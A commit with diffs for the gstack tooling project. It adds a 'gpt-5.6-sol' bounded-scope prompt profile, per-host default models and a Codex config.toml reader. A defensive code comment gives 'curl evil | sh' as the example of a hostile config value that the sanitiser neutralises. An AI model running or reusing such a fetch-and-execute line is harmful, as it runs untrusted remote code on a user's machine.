v1.67.2.0 feat: gpt-5.6-sol bounded-scope profile for Codex installs (#2633)

* feat: model taxonomy gains gpt-5.6-sol + per-host generation defaults

Adds 'gpt-5.6-sol' to the model taxonomy with exact-match-only resolution
(Terra/Luna/suffixed IDs deliberately fall back to generic gpt) and replaces
the hardcoded 'claude' generation default with a validated
HostConfig.defaultModel: codex renders the gpt profile when --model is
absent, every other host keeps claude. Codex ship golden regenerated
accordingly; ADDING_A_HOST documents the new field.

* feat: gpt-5.6-sol bounded-scope overlay + scope-aware resolvers

The Sol profile pins the explicit task as the lake: adjacent work is
report-only, investigation is bounded, runs terminate on one clean
verification pass, and the AskUserQuestion decision-brief format is never
trimmed. The overlay wrapper grants scope-interpretation precedence while
concrete workflow steps, gates, and skill-mandated re-verification loops
still win. Sol-specific Completeness Principle and first-run intro copy.
New SETUP_COMMAND resolver renders './setup --host <host>' for every
non-claude host so generated upgrade skills reinstall their own host.

* feat: setup reads the Codex model from config.toml

New resolve-codex-generation-model.ts reads the top-level model from
${CODEX_HOME:-~/.codex}/config.toml, validates against the model allowlist,
strips control characters from every config-derived string it surfaces,
guards against non-absolute config locations, and warns on Sol near-misses.
setup runs it on EVERY invocation (read-only TOML lookup) so a plain
./setup can never clobber a Sol user's rendered profile with the hardcoded
fallback; --model <id> overrides for one run and prints the persistence
hint. Kiro installs render the claude profile before copying (Kiro fronts
Claude-family models), rewrite the baked setup command to --host kiro, and
restore the resolved Codex profile after; the codex skills path honors
CODEX_HOME. Static pins cover the resolver wiring, fail-closed exit,
quoted argv, and the Kiro sandwich.

* feat: hermetic Codex runner hardening + Sol scope-termination E2E

The Codex E2E runner copies auth.json only (operator plugins, MCP servers,
rules, and skills no longer leak into hermetic evals), pins CODEX_HOME to
the temp dir, and supports per-run model, TOML overrides, and
--ignore-user-config. New periodic E2E installs the FULL generated
investigate skill on gpt-5.6-sol against a planted one-line bug with decoy
TODOs: the fix must land inside the boundary (untracked files counted via
git status --porcelain), decoys stay byte-identical, the regression oracle
survives unweakened, nothing gets committed, all within 30 tool calls.
The shared .agents tree is snapshotted and restored exactly in beforeAll;
fixture commits disable gpg signing. Wired into the periodic CI matrix,
paid-shard globs, eval scripts, touchfiles/E2E_TIERS
(codex-sol-scope-termination), and diff-based selection. Real-file
periodic-tier classification pins both codex E2Es out of the gate tier.
Free-tier test proves an explicit --model overrides the host default
through the real generation CLI.

* chore: bump version and changelog (v1.67.2.0)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: post-ship documentation sync for v1.67.2.0

- README: Codex skills path is CODEX_HOME-aware; state that
  --model overrides detection for one run only (persist via
  the Codex config.toml model key)
- CONTRIBUTING: add the model-overlay axis to the per-host
  config table (per-host defaultModel, override precedence)
- CLAUDE.md: eval results dir is ~/.gstack/projects/<slug>/evals/
  (legacy fallback ~/.gstack-dev/evals/), matching eval-store.ts
  and the eval:* CLI headers

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs: post-ship documentation sync (v1.67.2.0)

Sol exact-match and near-miss warning documented in README; CODEX_HOME-aware
uninstall and troubleshooting paths; hermetic auth.json-only detail and the
build-clobber gotcha in CLAUDE.md; eval-store location corrected in
ARCHITECTURE.md; defaultModel row in the ADDING_A_HOST field reference;
resolver test count corrected in the CHANGELOG entry.

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
Garry Tan
2026-08-18 17:00:04 -07:00
committed by GitHub
co-authored by Claude Fable 5
parent c86e6472eb
commit 60e51342b5
38 changed files with 1194 additions and 72 deletions
+10 -5
View File
@@ -92,12 +92,13 @@ const HOST_ARG_VAL: HostArg = (() => {
let HOST: Host = HOST_ARG_VAL === 'all' ? 'claude' : HOST_ARG_VAL;
// ─── Model Overlay Selection ────────────────────────────────
// --model is explicit. We do NOT auto-detect from host (host ≠ model).
// Default is 'claude'. Missing overlay file → empty string (graceful).
// --model is explicit. Without it, each host uses HostConfig.defaultModel.
// Host defaults are generation fallbacks, not claims that host === model.
// Missing overlay file → empty string (graceful).
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
const MODEL_ARG = process.argv.find(a => a.startsWith('--model'));
const MODEL_ARG_VAL: Model = (() => {
if (!MODEL_ARG) return 'claude';
const MODEL_ARG_VAL: Model | null = (() => {
if (!MODEL_ARG) return null;
const val = MODEL_ARG.includes('=') ? MODEL_ARG.split('=')[1] : process.argv[process.argv.indexOf(MODEL_ARG) + 1];
const resolved = resolveModel(val);
if (!resolved) {
@@ -106,6 +107,10 @@ const MODEL_ARG_VAL: Model = (() => {
return resolved;
})();
function generationModelForHost(host: Host): Model {
return MODEL_ARG_VAL ?? getHostConfig(host).defaultModel;
}
// ─── Catalog Mode (v1.45.0.0 T4) ────────────────────────────
// 'trim' (default): shorten frontmatter description to lead sentence and
// move routing/voice prose into a "## When to invoke" body section.
@@ -753,7 +758,7 @@ function buildContext(
const interactive = interactiveMatch ? interactiveMatch[1] === 'true' : undefined;
return {
skillName, tmplPath, benefitsFrom, host, paths: HOST_PATHS[host],
preambleTier, model: MODEL_ARG_VAL, interactive, explainLevel: EXPLAIN_LEVEL,
preambleTier, model: generationModelForHost(host), interactive, explainLevel: EXPLAIN_LEVEL,
};
}
+10
View File
@@ -14,6 +14,9 @@
* platform-detect, uninstall
*/
import type { Model } from './models';
import { validateModel } from './models';
export interface HostConfig {
/** Unique host identifier (e.g., 'opencode'). Must match filename in hosts/. */
name: string;
@@ -24,6 +27,9 @@ export interface HostConfig {
/** Alternative binary names (e.g., ['droid'] for factory). */
cliAliases?: string[];
/** Model overlay used when generation does not receive an explicit --model. */
defaultModel: Model;
// --- Path Configuration ---
/** Global install path relative to $HOME (e.g., '.config/opencode/skills/gstack'). */
globalRoot: string;
@@ -119,6 +125,10 @@ export function validateHostConfig(config: HostConfig, validResolverNames?: Read
}
}
}
const modelError = validateModel(config.defaultModel);
if (modelError) {
errors.push(`defaultModel ${modelError}`);
}
if (!PATH_REGEX.test(config.globalRoot)) {
errors.push(`globalRoot '${config.globalRoot}' contains invalid characters`);
}
+15 -5
View File
@@ -2,13 +2,17 @@
* Model taxonomy — neutral module with no imports from hosts/ or resolvers/.
*
* Model families supported by model overlays in model-overlays/{family}.md.
* Host configs can reference these as `defaultModel` strings (validated at
* Host configs reference these as `defaultModel` strings (validated at
* generation time), but the model axis is independent of the host axis.
*
* IMPORTANT: host ≠ model. Claude Code can run any Claude model (Opus, Sonnet,
* Haiku, future). Codex CLI runs GPT/o-series models. Cursor and OpenCode can
* front multiple providers. We do NOT auto-detect the model from the host —
* users pass --model explicitly. Default is 'claude'.
* front multiple providers. The generator does NOT auto-detect the model from
* the host — users can pass --model explicitly, otherwise each host supplies
* its own generation default. Exception outside this module: ./setup detects
* the Codex model from ${CODEX_HOME:-~/.codex}/config.toml
* (scripts/resolve-codex-generation-model.ts) and passes it as an explicit
* --model.
*/
export const ALL_MODEL_NAMES = [
@@ -19,6 +23,7 @@ export const ALL_MODEL_NAMES = [
'sonnet-5',
'gpt',
'gpt-5.4',
'gpt-5.6-sol',
'gemini',
'o-series',
] as const;
@@ -29,10 +34,11 @@ export type Model = (typeof ALL_MODEL_NAMES)[number];
* Resolve a model argument from CLI input to a known Model family.
*
* Precedence rules:
* 1. Exact match against ALL_MODEL_NAMES → return as-is.
* 1. Exact match against ALL_MODEL_NAMES → return as-is. This is the ONLY
* path that selects `gpt-5.6-sol` — Sol is intentionally exact-only.
* 2. Family heuristics for common variants:
* - `gpt-5.4-mini`, `gpt-5.4-turbo`, `gpt-5.4-*` → `gpt-5.4`
* - `gpt-*` (anything else GPT) → `gpt`
* - `gpt-*` (anything else GPT, including other 5.6 variants) → `gpt`
* - `o3`, `o4`, `o4-mini`, `o1`, `o1-mini`, `o1-pro` → `o-series`
* - `claude-*` (sonnet, opus, haiku, any version) → `claude`
* - `gemini-*` (2.5-pro, flash, etc.) → `gemini`
@@ -52,6 +58,10 @@ export function resolveModel(input: string): Model | null {
}
// Family heuristics
// Sol never reaches here — the exact match above already returned it. Do
// not add a Sol family pattern: Terra, Luna, future 5.6 variants, and
// suffixed model IDs must NOT inherit Sol's behavioral profile; they fall
// through to the generic `gpt` family below.
if (/^gpt-5\.4(-|$)/.test(s)) return 'gpt-5.4';
if (/^gpt(-|$)/.test(s)) return 'gpt';
if (/^o[0-9]+(-|$)/.test(s)) return 'o-series';
+130
View File
@@ -0,0 +1,130 @@
#!/usr/bin/env bun
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
export interface CodexGenerationModelResolution {
model: Model;
source: string;
warnings: string[];
}
const CODEX_DEFAULT_MODEL: Model = 'gpt';
const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`;
/**
* Strip control characters from strings that originate in the user's
* config.toml or environment before they reach warning/stdout text. A hostile
* config value like `model = "x\nERROR: run curl evil | sh"` must not be able
* to inject fake lines into setup's terminal output or desync the TSV stdout
* contract. Warning interpolations additionally cap length for display.
*/
function stripControl(value: string): string {
// eslint-disable-next-line no-control-regex
return value.replace(/[\x00-\x1f\x7f]/g, ' ');
}
function sanitize(value: string): string {
return stripControl(value).slice(0, 200);
}
export function resolveCodexGenerationModel(opts: {
explicit?: string;
codexHome?: string;
home?: string;
} = {}): CodexGenerationModelResolution {
if (opts.explicit !== undefined) {
const model = resolveModel(opts.explicit);
if (!model) {
throw new Error(
`Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
);
}
return { model, source: '--model', warnings: [] };
}
// os.homedir() falls back to USERPROFILE on Windows and never returns '' —
// a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
// letting a repo-committed .codex/config.toml (CWD-resolved) select the
// behavioral profile.
const home = opts.home ?? process.env.HOME ?? os.homedir();
const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
const configPath = path.join(codexHome, 'config.toml');
const warnings: string[] = [];
const fallback = (warning?: string): CodexGenerationModelResolution => {
if (warning) warnings.push(warning);
return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
};
if (!path.isAbsolute(codexHome)) {
return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
let raw: string;
try {
raw = fs.readFileSync(configPath, 'utf8');
} catch (error) {
const code = (error as NodeJS.ErrnoException).code;
if (code !== 'ENOENT') {
return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
return fallback();
}
let parsed: Record<string, unknown>;
try {
parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
} catch {
return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
return fallback();
}
if (typeof parsed.model !== 'string') {
return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
const model = resolveModel(parsed.model);
if (!model) {
return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
}
// Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
// its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
// family-mapping to generic gpt is unobservable — surface it.
if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
}
return { model, source: configPath, warnings };
}
function readArg(name: string): string | undefined {
const exact = process.argv.indexOf(name);
if (exact >= 0) return process.argv[exact + 1];
const prefix = `${name}=`;
const joined = process.argv.find(arg => arg.startsWith(prefix));
return joined?.slice(prefix.length);
}
if (import.meta.main) {
try {
const result = resolveCodexGenerationModel({
explicit: readArg('--explicit'),
codexHome: readArg('--codex-home'),
});
for (const warning of result.warnings) {
process.stderr.write(`warning: ${warning}\n`);
}
// model is always an ALL_MODEL_NAMES literal; source is control-stripped
// so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
} catch (error) {
process.stderr.write(`${(error as Error).message}\n`);
process.exit(1);
}
}
+2 -1
View File
@@ -23,7 +23,7 @@ import { generateCommandReference, generateSnapshotFlags, generateBrowseSetup }
import { generateDesignMethodology, generateDesignHardRules, generateDesignOutsideVoices, generateDesignReviewLite, generateDesignSketch, generateDesignSetup, generateDesignMockup, generateDesignShotgunLoop, generateTasteProfile, generateUXPrinciples } from './design';
import { generateTestBootstrap, generateTestCoverageAuditPlan, generateTestCoverageAuditShip } from './testing';
import { generateReviewDashboard, generatePlanFileReviewReport, generateExitPlanModeGate, generateAntiShortcutClause, generateSpecReviewLoop, generateBenefitsFrom, generateCodexSecondOpinion, generateAdversarialStep, generateCodexPlanReview, generateCodexDocReview, generatePlanCompletionAuditShip, generatePlanCompletionAuditReview, generatePlanVerificationExec, generateScopeDrift, generateCrossReviewDedup } from './review';
import { generateSlugEval, generateSlugSetup, generateBaseBranchDetect, generateDeployBootstrap, generateQAMethodology, generateCoAuthorTrailer, generateChangelogWorkflow, generateCodexWebSearchFlag } from './utility';
import { generateSlugEval, generateSlugSetup, generateBaseBranchDetect, generateDeployBootstrap, generateQAMethodology, generateCoAuthorTrailer, generateChangelogWorkflow, generateCodexWebSearchFlag, generateSetupCommand } from './utility';
import { generateLearningsSearch, generateLearningsLog } from './learnings';
import { generateConfidenceCalibration } from './confidence';
import { generateInvokeSkill } from './composition';
@@ -78,6 +78,7 @@ export const RESOLVERS: Record<string, ResolverFn> = {
PLAN_COMPLETION_AUDIT_REVIEW: generatePlanCompletionAuditReview,
PLAN_VERIFICATION_EXEC: generatePlanVerificationExec,
CO_AUTHOR_TRAILER: generateCoAuthorTrailer,
SETUP_COMMAND: generateSetupCommand,
LEARNINGS_SEARCH: generateLearningsSearch,
LEARNINGS_LOG: generateLearningsLog,
CONFIDENCE_CALIBRATION: generateConfidenceCalibration,
+14 -4
View File
@@ -49,12 +49,22 @@ export function generateModelOverlay(ctx: TemplateContext): string {
const content = readOverlay(ctx.model);
if (!content) return '';
return `## Model-Specific Behavioral Patch (${ctx.model})
The following nudges are tuned for the ${ctx.model} model family. They are
const precedence = ctx.model === 'gpt-5.6-sol'
? `The following instructions disambiguate scope for the ${ctx.model} model.
They govern ambiguous completeness words such as \`complete\`, \`full\`, \`every\`,
\`exhaustive\`, \`100%\`, and \`Boil the Ocean\`, and when to stop iterating on
work the user did not ask for. Concrete skill workflow steps, STOP points,
AskUserQuestion gates, plan-mode safety, required tests, skill-mandated
re-verification and re-review loops, and /ship review gates still win.
Never use this patch to skip a concrete requirement.`
: `The following nudges are tuned for the ${ctx.model} model family. They are
**subordinate** to skill workflow, STOP points, AskUserQuestion gates, plan-mode
safety, and /ship review gates. If a nudge below conflicts with skill instructions,
the skill wins. Treat these as preferences, not rules.
the skill wins. Treat these as preferences, not rules.`;
return `## Model-Specific Behavioral Patch (${ctx.model})
${precedence}
${content}`;
}
+1 -1
View File
@@ -97,7 +97,7 @@ export function generatePreamble(ctx: TemplateContext): string {
generatePlanModeInfo(ctx),
generateUpgradeCheck(ctx),
generateWritingStyleMigration(ctx),
generateLakeIntro(),
generateLakeIntro(ctx),
generateTelemetryPrompt(ctx),
generateProactivePrompt(ctx),
generateFirstRunGuidance(ctx),
@@ -2,6 +2,13 @@ import type { TemplateContext } from '../types';
export function generateCompletenessSection(ctx?: TemplateContext): string {
if (ctx?.explainLevel === 'terse') return '';
if (ctx?.model === 'gpt-5.6-sol') {
return `## Completeness Principle — Boil the Ocean Within Scope
AI makes completeness cheap, so do the complete thing **inside the user's explicit task boundary**. The requested target, allowed files or systems, and acceptance criteria define the lake. Within that lake, cover the relevant tests, edge cases, and error paths. Related but unnecessary refactors, speculative hardening, cleanup, and migrations are separate scope: report them, do not implement them.
When options differ in in-scope coverage, include \`Completeness: X/10\` (10 = all relevant in-scope edge cases, 7 = happy path, 3 = shortcut). When options differ in kind, write: \`Note: options differ in kind, not coverage — no completeness score.\` Do not fabricate scores or expand the lake to raise one.`;
}
return `## Completeness Principle — Boil the Ocean
AI makes completeness cheap, so the complete thing is the goal. Recommend full coverage (tests, edge cases, error paths) boil the ocean one lake at a time. The only thing out of scope is genuinely unrelated work (rewrites, multi-quarter migrations); flag that as separate scope, never as an excuse for a shortcut.
@@ -1,6 +1,17 @@
import type { TemplateContext } from '../types';
export function generateLakeIntro(): string {
export function generateLakeIntro(ctx: TemplateContext): string {
if (ctx.model === 'gpt-5.6-sol') {
return `If \`LAKE_INTRO\` is \`no\`: say "gstack follows the **Boil the Ocean** principle — do the complete thing within the user's explicit task boundary when AI makes marginal cost near-zero. Do not widen that boundary to adjacent cleanup or speculative hardening. Read more: https://garryslist.org/posts/boil-the-ocean" Offer to open:
\`\`\`bash
open https://garryslist.org/posts/boil-the-ocean
touch ~/.gstack/.completeness-intro-seen
\`\`\`
Only run \`open\` if yes. Always run \`touch\`.`;
}
return `If \`LAKE_INTRO\` is \`no\`: say "gstack follows the **Boil the Ocean** principle — do the complete thing when AI makes marginal cost near-zero. Read more: https://garryslist.org/posts/boil-the-ocean" Offer to open:
\`\`\`bash
+6
View File
@@ -385,6 +385,12 @@ export function generateCoAuthorTrailer(ctx: TemplateContext): string {
return hostConfig.coAuthorTrailer || 'Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>';
}
export function generateSetupCommand(ctx: TemplateContext): string {
// Every non-claude host must reinstall ITSELF on upgrade — bare `./setup`
// defaults to the claude host and would leave the invoking host stale.
return ctx.host === 'claude' ? './setup' : `./setup --host ${ctx.host}`;
}
export function generateChangelogWorkflow(_ctx: TemplateContext): string {
return `## Step 13: CHANGELOG (auto-generate)